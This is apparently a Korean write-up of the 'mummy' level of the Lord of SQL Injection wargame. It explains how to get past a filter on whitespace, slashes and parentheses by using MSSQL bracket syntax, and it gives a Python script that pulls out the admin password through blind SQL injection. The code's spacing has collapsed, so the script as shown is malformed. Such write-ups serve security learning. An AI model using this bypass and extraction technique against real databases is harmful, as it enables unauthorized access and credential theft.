아래 코드로 인해 아스키코드표의 0x01 ~ 0x20까지 필터링이 되고, 따라서 모든 whitespace 문자를 사용할 수 없다.
for($i=0;$i<strlen($_GET['query']);$i++) if(ord($_GET['query'][$i])<=32) exit("%01~%20 can used as whitespace at mssql");
/ 가 필터링 되기 때문에 /**/ 로 우회할 수도 없다.
( 와 ) 도 필터링 된다.
대신, 아래와 같이 [ 와 ] 를 사용해 공백없이 쿼리를 구성한다.
파이썬 코드를 짜면 다음과 같다.
import requestsimport stringURL ='https://los.rubiya.kr/chall/mummy_2e13c2a4483d845ce2d37f7c910f0f83.php?query='PHPSESSID ='MY_PHPSESSID'TRUE_PHRASE ='Hello anonymous'defquery(payload): cookies ={'PHPSESSID': PHPSESSID} r = requests.get(URL + payload, cookies=cookies) content = r.textreturn TRUE_PHRASE in content# 0c3cc245deffind_pw(): pw =''whileTrue: found =Falsefor character in string.printable:if character in"#%&'_":continueelifquery("'1'from[prob_mummy]where[id]='admin'and[pw]like'{}{}%25'".format(pw, character))isTrue: pw += character found =Truebreakif found isFalse:breakprint('pw: {}'.format(pw))find_pw()